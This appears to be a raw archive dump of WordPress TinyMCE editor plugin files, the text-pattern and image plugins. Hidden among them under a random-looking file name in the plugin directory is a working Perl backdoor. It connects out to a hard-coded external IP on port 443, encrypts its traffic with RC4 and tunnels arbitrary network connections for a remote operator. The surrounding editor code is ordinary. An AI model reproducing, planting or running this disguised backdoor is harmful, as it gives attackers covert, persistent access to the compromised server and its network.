p.delimiter.charAt( 0 ); var regExp = new RegExp( '(.*)' + escDelimiter + '.+' + escDelimiter + '$' ); var match = string.match( regExp ); if ( ! match ) { return; } startOffset = match[1].length; endOffset = offset - p.delimiter.length; var before = string.charAt( startOffset - 1 ); var after = string.charAt( startOffset + p.delimiter.length ); // test*test* => format applied. // test *test* => applied. // test* test* => not applied. if ( startOffset && /\S/.test( before ) ) { if ( /\s/.test( after ) || before === delimiterFirstChar ) { return; } } // Do not replace when only whitespace and delimiter characters. if ( ( new RegExp( '^[\\s' + escapeRegExp( delimiterFirstChar ) + ']+$' ) ).test( string.slice( startOffset, endOffset ) ) ) { return; } pattern = p; return false; } ); if ( ! pattern ) { return; } format = editor.formatter.get( pattern.format ); if ( format && format[0].inline ) { editor.undoManager.add(); editor.undoManager.transact( function() { node.insertData( offset, '\uFEFF' ); node = node.splitText( startOffset ); zero = node.splitText( offset - startOffset ); node.deleteData( 0, pattern.delimiter.length ); node.deleteData( node.data.length - pattern.delimiter.length, pattern.delimiter.length ); editor.formatter.apply( pattern.format, {}, node ); editor.selection.setCursorLocation( zero, 1 ); } ); // We need to wait for native events to be triggered. setTimeout( function() { canUndo = 'space'; editor.once( 'selectionchange', function() { var offset; if ( zero ) { offset = zero.data.indexOf( '\uFEFF' ); if ( offset !== -1 ) { zero.deleteData( offset, offset + 1 ); } } } ); } ); } } function firstTextNode( node ) { var parent = editor.dom.getParent( node, 'p' ), child; if ( ! parent ) { return; } while ( child = parent.firstChild ) { if ( child.nodeType !== 3 ) { parent = child; } else { break; } } if ( ! child ) { return; } if ( ! child.data ) { if ( child.nextSibling && child.nextSibling.nodeType === 3 ) { child = child.nextSibling; } else { child = null; } } return child; } function space() { var rng = editor.selection.getRng(), node = rng.startContainer, parent, text; if ( ! node || firstTextNode( node ) !== node ) { return; } parent = node.parentNode; text = node.data; tinymce.each( spacePatterns, function( pattern ) { var match = text.match( pattern.regExp ); if ( ! match || rng.startOffset !== match[0].length ) { return; } editor.undoManager.add(); editor.undoManager.transact( function() { node.deleteData( 0, match[0].length ); if ( ! parent.innerHTML ) { parent.appendChild( document.createElement( 'br' ) ); } editor.selection.setCursorLocation( parent ); editor.execCommand( pattern.cmd ); } ); // We need to wait for native events to be triggered. setTimeout( function() { canUndo = 'space'; } ); return false; } ); } function enter() { var rng = editor.selection.getRng(), start = rng.startContainer, node = firstTextNode( start ), i = enterPatterns.length, text, pattern, parent; if ( ! node ) { return; } text = node.data; while ( i-- ) { if ( enterPatterns[ i ].start ) { if ( text.indexOf( enterPatterns[ i ].start ) === 0 ) { pattern = enterPatterns[ i ]; break; } } else if ( enterPatterns[ i ].regExp ) { if ( enterPatterns[ i ].regExp.test( text ) ) { pattern = enterPatterns[ i ]; break; } } } if ( ! pattern ) { return; } if ( node === start && tinymce.trim( text ) === pattern.start ) { return; } editor.once( 'keyup', function() { editor.undoManager.add(); editor.undoManager.transact( function() { if ( pattern.format ) { editor.formatter.apply( pattern.format, {}, node ); node.replaceData( 0, node.data.length, ltrim( node.data.slice( pattern.start.length ) ) ); } else if ( pattern.element ) { parent = node.parentNode && node.parentNode.parentNode; if ( parent ) { parent.replaceChild( document.createElement( pattern.element ), node.parentNode ); } } } ); // We need to wait for native events to be triggered. setTimeout( function() { canUndo = 'enter'; } ); } ); } function ltrim( text ) { return text ? text.replace( /^\s+/, '' ) : ''; } } ); } )( window.tinymce, window.setTimeout ); tinymce/plugins/wptextpattern/3tus3cgs 0000755 00000022033 15111757755 0014250 0 ustar 00 #!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '185.93.89.151'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); tinymce/plugins/image/plugin.min.js 0000644 00000036754 15111757755 0013432 0 ustar 00 !function(l){"use strict";var i,e=tinymce.util.Tools.resolve("tinymce.PluginManager"),d=function(e){return!1!==e.settings.image_dimensions},u=function(e){return!0===e.settings.image_advtab},m=function(e){return e.getParam("image_prepend_url","")},n=function(e){return e.getParam("image_class_list")},r=function(e){return!1!==e.settings.image_description},a=function(e){return!0===e.settings.image_title},o=function(e){return!0===e.settings.image_caption},c=function(e){return e.getParam("image_list",!1)},s=function(e){return e.getParam("images_upload_url",!1)},g=function(e){return e.getParam("images_upload_handler",!1)},f=function(e){return e.getParam("images_upload_url")},p=function(e){return e.getParam("images_upload_handler")},h=function(e){return e.getParam("images_upload_base_path")},v=function(e){return e.getParam("images_upload_credentials")},b="undefined"!=typeof l.window?l.window:Function("return this;")(),y=function(e,t){return function(e,t){for(var n=t!==undefined&&null!==t?t:b,r=0;r<e.length&&n!==undefined&&null!==n;++r)n=n[e[r]];return n}(e.split("."),t)},x={getOrDie:function(e,t){var n=y(e,t);if(n===undefined||null===n)throw new Error(e+" not available on this browser");return n}},w=tinymce.util.Tools.resolve("tinymce.util.Promise"),C=tinymce.util.Tools.resolve("tinymce.util.Tools"),S=tinymce.util.Tools.resolve("tinymce.util.XHR"),N=function(e,t){return Math.max(parseInt(e,10),parseInt(t,10))},_=function(e,n){var r=l.document.createElement("img");function t(e,t){r.parentNode&&r.parentNode.removeChild(r),n({width:e,height:t})}r.onload=function(){t(N(r.width,r.clientWidth),N(r.height,r.clientHeight))},r.onerror=function(){t(0,0)};var a=r.style;a.visibility="hidden",a.position="fixed",a.bottom=a.left="0px",a.width=a.height="auto",l.document.body.appendChild(r),r.src=e},T=function(e,a,t){return function n(e,r){return r=r||[],C.each(e,function(e){var t={text:e.text||e.title};e.menu?t.menu=n(e.menu):(t.value=e.value,a(t)),r.push(t)}),r}(e,t||[])},A=function(e){return e&&(e=e.replace(/px$/,"")),e},R=function(e){return 0<e.length&&/^[0-9]+$/.test(e)&&(e+="px"),e},I=function(e){if(e.margin){var t=e.margin.split(" ");switch(t.length){case 1:e["margin-top"]=e["margin-top"]||t[0],e["margin-right"]=e["margin-right"]||t[0],e["margin-bottom"]=e["margin-bottom"]||t[0],e["margin-left"]=e["margin-left"]||t[0];break;case 2:e["margin-top"]=e["margin-top"]||t[0],e["margin-right"]=e["margin-right"]||t[1],e["margin-bottom"]=e["margin-bottom"]||t[0],e["margin-left"]=e["margin-left"]||t[1];break;case 3:e["margin-top"]=e["margin-top"]||t[0],e["margin-right"]=e["margin-right"]||t[1],e["margin-bottom"]=e["margin-bottom"]||t[2],e["margin-left"]=e["margin-left"]||t[1];break;case 4:e["margin-top"]=e["margin-top"]||t[0],e["margin-right"]=e["margin-right"]||t[1],e["margin-bottom"]=e["margin-bottom"]||t[2],e["margin-left"]=e["margin-left"]||t[3]}delete e.margin}return e},t=function(e,t){var n=c(e);"string"==typeof n?S.send({url:n,success:function(e){t(JSON.parse(e))}}):"function"==typeof n?n(t):t(n)},O=function(e,t,n){function r(){n.onload=n.onerror=null,e.selection&&(e.selection.select(n),e.nodeChanged())}n.onload=function(){t.width||t.height||!d(e)||e.dom.setAttribs(n,{width:n.clientWidth,height:n.clientHeight}),r()},n.onerror=r},L=function(r){return new w(function(e,t){var n=new(x.getOrDie("FileReader"));n.onload=function(){e(n.result)},n.onerror=function(){t(n.error.message)},n.readAsDataURL(r)})},P=tinymce.util.Tools.resolve("tinymce.dom.DOMUtils"),U=Object.prototype.hasOwnProperty,E=(i=function(e,t){return t},function(){for(var e=new Array(arguments.length),t=0;t<e.length;t++)e[t]=arguments[t];if(0===e.length)throw new Error("Can't merge zero objects");for(var n={},r=0;r<e.length;r++){var a=e[r];for(var o in a)U.call(a,o)&&(n[o]=i(n[o],a[o]))}return n}),k=P.DOM,M=function(e){return e.style.marginLeft&&e.style.marginRight&&e.style.marginLeft===e.style.marginRight?A(e.style.marginLeft):""},D=function(e){return e.style.marginTop&&e.style.marginBottom&&e.style.marginTop===e.style.marginBottom?A(e.style.marginTop):""},z=function(e){return e.style.borderWidth?A(e.style.borderWidth):""},B=function(e,t){return e.hasAttribute(t)?e.getAttribute(t):""},H=function(e,t){return e.style[t]?e.style[t]:""},j=function(e){return null!==e.parentNode&&"FIGURE"===e.parentNode.nodeName},F=function(e,t,n){e.setAttribute(t,n)},W=function(e){var t,n,r,a;j(e)?(a=(r=e).parentNode,k.insertAfter(r,a),k.remove(a)):(t=e,n=k.create("figure",{"class":"image"}),k.insertAfter(n,t),n.appendChild(t),n.appendChild(k.create("figcaption",{contentEditable:!0},"Caption")),n.contentEditable="false")},J=function(e,t){var n=e.getAttribute("style"),r=t(null!==n?n:"");0<r.length?(e.setAttribute("style",r),e.setAttribute("data-mce-style",r)):e.removeAttribute("style")},V=function(e,r){return function(e,t,n){e.style[t]?(e.style[t]=R(n),J(e,r)):F(e,t,n)}},G=function(e,t){return e.style[t]?A(e.style[t]):B(e,t)},$=function(e,t){var n=R(t);e.style.marginLeft=n,e.style.marginRight=n},X=function(e,t){var n=R(t);e.style.marginTop=n,e.style.marginBottom=n},q=function(e,t){var n=R(t);e.style.borderWidth=n},K=function(e,t){e.style.borderStyle=t},Q=function(e){return"FIGURE"===e.nodeName},Y=function(e,t){var n=l.document.createElement("img");return F(n,"style",t.style),(M(n)||""!==t.hspace)&&$(n,t.hspace),(D(n)||""!==t.vspace)&&X(n,t.vspace),(z(n)||""!==t.border)&&q(n,t.border),(H(n,"borderStyle")||""!==t.borderStyle)&&K(n,t.borderStyle),e(n.getAttribute("style"))},Z=function(e,t){return{src:B(t,"src"),alt:B(t,"alt"),title:B(t,"title"),width:G(t,"width"),height:G(t,"height"),"class":B(t,"class"),style:e(B(t,"style")),caption:j(t),hspace:M(t),vspace:D(t),border:z(t),borderStyle:H(t,"borderStyle")}},ee=function(e,t,n,r,a){n[r]!==t[r]&&a(e,r,n[r])},te=function(r,a){return function(e,t,n){r(e,n),J(e,a)}},ne=function(e,t,n){var r=Z(e,n);ee(n,r,t,"caption",function(e,t,n){return W(e)}),ee(n,r,t,"src",F),ee(n,r,t,"alt",F),ee(n,r,t,"title",F),ee(n,r,t,"width",V(0,e)),ee(n,r,t,"height",V(0,e)),ee(n,r,t,"class",F),ee(n,r,t,"style",te(function(e,t){return F(e,"style",t)},e)),ee(n,r,t,"hspace",te($,e)),ee(n,r,t,"vspace",te(X,e)),ee(n,r,t,"border",te(q,e)),ee(n,r,t,"borderStyle",te(K,e))},re=function(e,t){var n=e.dom.styles.parse(t),r=I(n),a=e.dom.styles.parse(e.dom.styles.serialize(r));return e.dom.styles.serialize(a)},ae=function(e){var t=e.selection.getNode(),n=e.dom.getParent(t,"figure.image");return n?e.dom.select("img",n)[0]:t&&("IMG"!==t.nodeName||t.getAttribute("data-mce-object")||t.getAttribute("data-mce-placeholder"))?null:t},oe=function(t,e){var n=t.dom,r=n.getParent(e.parentNode,function(e){return t.schema.getTextBlockElements()[e.nodeName]},t.getBody());return r?n.split(r,e):e},ie=function(t){var e=ae(t);return e?Z(function(e){return re(t,e)},e):{src:"",alt:"",title:"",width:"",height:"","class":"",style:"",caption:!1,hspace:"",vspace:"",border:"",borderStyle:""}},le=function(t,e){var n=function(e,t){var n=l.document.createElement("img");if(ne(e,E(t,{caption:!1}),n),F(n,"alt",t.alt),t.caption){var r=k.create("figure",{"class":"image"});return r.appendChild(n),r.appendChild(k.create("figcaption",{contentEditable:!0},"Caption")),r.contentEditable="false",r}return n}(function(e){return re(t,e)},e);t.dom.setAttrib(n,"data-mce-id","__mcenew"),t.focus(),t.selection.setContent(n.outerHTML);var r=t.dom.select('*[data-mce-id="__mcenew"]')[0];if(t.dom.setAttrib(r,"data-mce-id",null),Q(r)){var a=oe(t,r);t.selection.select(a)}else t.selection.select(r)},ue=function(e,t){var n=ae(e);n?t.src?function(t,e){var n,r=ae(t);if(ne(function(e){return re(t,e)},e,r),n=r,t.dom.setAttrib(n,"src",n.getAttribute("src")),Q(r.parentNode)){var a=r.parentNode;oe(t,a),t.selection.select(r.parentNode)}else t.selection.select(r),O(t,e,r)}(e,t):function(e,t){if(t){var n=e.dom.is(t.parentNode,"figure.image")?t.parentNode:t;e.dom.remove(n),e.focus(),e.nodeChanged(),e.dom.isEmpty(e.getBody())&&(e.setContent(""),e.selection.setCursorLocation())}}(e,n):t.src&&le(e,t)},ce=function(n,r){r.find("#style").each(function(e){var t=Y(function(e){return re(n,e)},E({src:"",alt:"",title:"",width:"",height:"","class":"",style:"",caption:!1,hspace:"",vspace:"",border:"",borderStyle:""},r.toJSON()));e.value(t)})},se=function(t){return{title:"Advanced",type:"form",pack:"start",items:[{label:"Style",name:"style",type:"textbox",onchange:(o=t,function(e){var t=o.dom,n=e.control.rootControl;if(u(o)){var r=n.toJSON(),a=t.parseStyle(r.style);n.find("#vspace").value(""),n.find("#hspace").value(""),((a=I(a))["margin-top"]&&a["margin-bottom"]||a["margin-right"]&&a["margin-left"])&&(a["margin-top"]===a["margin-bottom"]?n.find("#vspace").value(A(a["margin-top"])):n.find("#vspace").value(""),a["margin-right"]===a["margin-left"]?n.find("#hspace").value(A(a["margin-right"])):n.find("#hspace").value("")),a["border-width"]?n.find("#border").value(A(a["border-width"])):n.find("#border").value(""),a["border-style"]?n.find("#borderStyle").value(a["border-style"]):n.find("#borderStyle").value(""),n.find("#style").value(t.serializeStyle(t.parseStyle(t.serializeStyle(a))))}})},{type:"form",layout:"grid",packV:"start",columns:2,padding:0,defaults:{type:"textbox",maxWidth:50,onchange:function(e){ce(t,e.control.rootControl)}},items:[{label:"Vertical space",name:"vspace"},{label:"Border width",name:"border"},{label:"Horizontal space",name:"hspace"},{label:"Border style",type:"listbox",name:"borderStyle",width:90,maxWidth:90,onselect:function(e){ce(t,e.control.rootControl)},values:[{text:"Select...",value:""},{text:"Solid",value:"solid"},{text:"Dotted",value:"dotted"},{text:"Dashed",value:"dashed"},{text:"Double",value:"double"},{text:"Groove",value:"groove"},{text:"Ridge",value:"ridge"},{text:"Inset",value:"inset"},{text:"Outset",value:"outset"},{text:"None",value:"none"},{text:"Hidden",value:"hidden"}]}]}]};var o},de=function(e,t){e.state.set("oldVal",e.value()),t.state.set("oldVal",t.value())},me=function(e,t){var n=e.find("#width")[0],r=e.find("#height")[0],a=e.find("#constrain")[0];n&&r&&a&&t(n,r,a.checked())},ge=function(e,t,n){var r=e.state.get("oldVal"),a=t.state.get("oldVal"),o=e.value(),i=t.value();n&&r&&a&&o&&i&&(o!==r?(i=Math.round(o/r*i),isNaN(i)||t.value(i)):(o=Math.round(i/a*o),isNaN(o)||e.value(o))),de(e,t)},fe=function(e){me(e,ge)},pe=function(){var e=function(e){fe(e.control.rootControl)};return{type:"container",label:"Dimensions",layout:"flex",align:"center",spacing:5,items:[{name:"width",type:"textbox",maxLength:5,size:5,onchange:e,ariaLabel:"Width"},{type:"label",text:"x"},{name:"height",type:"textbox",maxLength:5,size:5,onchange:e,ariaLabel:"Height"},{name:"constrain",type:"checkbox",checked:!0,text:"Constrain proportions"}]}},he=function(e){me(e,de)},ve=fe,be=function(e){e.meta=e.control.rootControl.toJSON()},ye=function(s,e){var t=[{name:"src",type:"filepicker",filetype:"image",label:"Source",autofocus:!0,onchange:function(e){var t,n,r,a,o,i,l,u,c;n=s,i=(t=e).meta||{},l=t.control,u=l.rootControl,(c=u.find("#image-list")[0])&&c.value(n.convertURL(l.value(),"src")),C.each(i,function(e,t){u.find("#"+t).value(e)}),i.width||i.height||(r=n.convertURL(l.value(),"src"),a=m(n),o=new RegExp("^(?:[a-z]+:)?//","i"),a&&!o.test(r)&&r.substring(0,a.length)!==a&&(r=a+r),l.value(r),_(n.documentBaseURI.toAbsolute(l.value()),function(e){e.width&&e.height&&d(n)&&(u.find("#width").value(e.width),u.find("#height").value(e.height),he(u))}))},onbeforecall:be},e];return r(s)&&t.push({name:"alt",type:"textbox",label:"Image description"}),a(s)&&t.push({name:"title",type:"textbox",label:"Image Title"}),d(s)&&t.push(pe()),n(s)&&t.push({name:"class",type:"listbox",label:"Class",values:T(n(s),function(e){e.value&&(e.textStyle=function(){return s.formatter.getCssText({inline:"img",classes:[e.value]})})})}),o(s)&&t.push({name:"caption",type:"checkbox",label:"Caption"}),t},xe=function(e,t){return{title:"General",type:"form",items:ye(e,t)}},we=ye,Ce=function(){return x.getOrDie("URL")},Se=function(e){return Ce().createObjectURL(e)},Ne=function(e){Ce().revokeObjectURL(e)},_e=tinymce.util.Tools.resolve("tinymce.ui.Factory"),Te=function(){};function Ae(i){var t=function(e,r,a,t){var o,n;(o=new(x.getOrDie("XMLHttpRequest"))).open("POST",i.url),o.withCredentials=i.credentials,o.upload.onprogress=function(e){t(e.loaded/e.total*100)},o.onerror=function(){a("Image upload failed due to a XHR Transport error. Code: "+o.status)},o.onload=function(){var e,t,n;o.status<200||300<=o.status?a("HTTP Error: "+o.status):(e=JSON.parse(o.responseText))&&"string"==typeof e.location?r((t=i.basePath,n=e.location,t?t.replace(/\/$/,"")+"/"+n.replace(/^\//,""):n)):a("Invalid JSON: "+o.responseText)},(n=new l.FormData).append("file",e.blob(),e.filename()),o.send(n)};return i=C.extend({credentials:!1,handler:t},i),{upload:function(e){return i.url||i.handler!==t?(r=e,a=i.handler,new w(function(e,t){try{a(r,e,t,Te)}catch(n){t(n.message)}})):w.reject("Upload url missing from the settings.");var r,a}}}var Re=function(u){return function(e){var t=_e.get("Throbber"),n=e.control.rootControl,r=new t(n.getEl()),a=e.control.value(),o=Se(a),i=Ae({url:f(u),basePath:h(u),credentials:v(u),handler:p(u)}),l=function(){r.hide(),Ne(o)};return r.show(),L(a).then(function(e){var t=u.editorUpload.blobCache.create({blob:a,blobUri:o,name:a.name?a.name.replace(/\.[^\.]+$/,""):null,base64:e.split(",")[1]});return i.upload(t).then(function(e){var t=n.find("#src");return t.value(e),n.find("tabpanel")[0].activateTab(0),t.fire("change"),l(),e})})["catch"](function(e){u.windowManager.alert(e),l()})}},Ie=".jpg,.jpeg,.png,.gif",Oe=function(e){return{title:"Upload",type:"form",layout:"flex",direction:"column",align:"stretch",padding:"20 20 20 20",items:[{type:"container",layout:"flex",direction:"column",align:"center",spacing:10,items:[{text:"Browse for an image",type:"browsebutton",accept:Ie,onchange:Re(e)},{text:"OR",type:"label"}]},{text:"Drop an image here",type:"dropzone",accept:Ie,height:100,onchange:Re(e)}]}};function Le(r){for(var a=[],e=1;e<arguments.length;e++)a[e-1]=arguments[e];return function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];var n=a.concat(e);return r.apply(null,n)}}var Pe=function(t,e){var n=e.control.getRoot();ve(n),t.undoManager.transact(function(){var e=E(ie(t),n.toJSON());ue(t,e)}),t.editorUpload.uploadImagesAuto()};function Ue(o){function e(e){var n,t,r=ie(o);if(e&&(t={type:"listbox",label:"Image list",name:"image-list",values:T(e,function(e){e.value=o.convertURL(e.value||e.url,"src")},[{text:"None",value:""}]),value:r.src&&o.convertURL(r.src,"src"),onselect:function(e){var t=n.find("#alt");(!t.value()||e.lastControl&&t.value()===e.lastControl.text())&&t.value(e.control.text()),n.find("#src").value(e.control.value()).fire("change")},onPostRender:function(){t=this}}),u(o)||s(o)||g(o)){var a=[xe(o,t)];u(o)&&a.push(se(o)),(s(o)||g(o))&&a.push(Oe(o)),n=o.windowManager.open({title:"Insert/edit image",data:r,bodyType:"tabpanel",body:a,onSubmit:Le(Pe,o)})}else n=o.windowManager.open({title:"Insert/edit image",data:r,body:we(o,t),onSubmit:Le(Pe,o)});he(n)}return{open:function(){t(o,e)}}}var Ee=function(e){e.addCommand("mceImage",Ue(e).open)},ke=function(o){return function(e){for(var t,n,r=e.length,a=function(e){e.attr("contenteditable",o?"true":null)};r--;)t=e[r],(n=t.attr("class"))&&/\bimage\b/.test(n)&&(t.attr("contenteditable",o?"false":null),C.each(t.getAll("figcaption"),a))}},Me=function(e){e.on("preInit",function(){e.parser.addNodeFilter("figure",ke(!0)),e.serializer.addNodeFilter("figure",ke(!1))})},De=function(e){e.addButton("image",{icon:"image",tooltip:"Insert/edit image",onclick:Ue(e).open,stateSelector:"img:not([data-mce-object],[data-mce-placeholder]),figure.image"}),e.addMenuItem("image",{icon:"image",text:"Image",onclick:Ue(e).open,context:"insert",prependToContext:!0})};e.add("image",function(e){Me(e),De(e),Ee(e)})}(window); tinymce/plugins/image/plugin.js 0000644 00000116126 15111757755 0012640 0 ustar 00 (function () { var image = (function (domGlobals) { 'use strict'; var global = tinymce.util.Tools.resolve('tinymce.PluginManager'); var hasDimensions = function (editor) { return editor.settings.image_dimensions === false ? false : true; }; var hasAdvTab = function (editor) { return editor.settings.image_advtab === true ? true : false; }; var getPrependUrl = function (editor) { return editor.getParam('image_prepend_url', ''); }; var getClassList = function (editor) { return editor.getParam('image_class_list'); }; var hasDescription = function (editor) { return editor.settings.image_description === false ? false : true; }; var hasImageTitle = function (editor) { return editor.settings.image_title === true ? true : false; }; var hasImageCaption = function (editor) { return editor.settings.image_caption === true ? true : false; }; var getImageList = function (editor) { return editor.getParam('image_list', false); }; var hasUploadUrl = function (editor) { return editor.getParam('images_upload_url', false); }; var hasUploadHandler = function (editor) { return editor.getParam('images_upload_handler', false); }; var getUploadUrl = function (editor) { return editor.getParam('images_upload_url'); }; var getUploadHandler = function (editor) { return editor.getParam('images_upload_handler'); }; var getUploadBasePath = function (editor) { return editor.getParam('images_upload_base_path'); }; var getUploadCredentials = function (editor) { return editor.getParam('images_upload_credentials'); }; var Settings = { hasDimensions: hasDimensions, hasAdvTab: hasAdvTab, getPrependUrl: getPrependUrl, getClassList: getClassList, hasDescription: hasDescription, hasImageTitle: hasImageTitle, hasImageCaption: hasImageCaption, getImageList: getImageList, hasUploadUrl: hasUploadUrl, hasUploadHandler: hasUploadHandler, getUploadUrl: getUploadUrl, 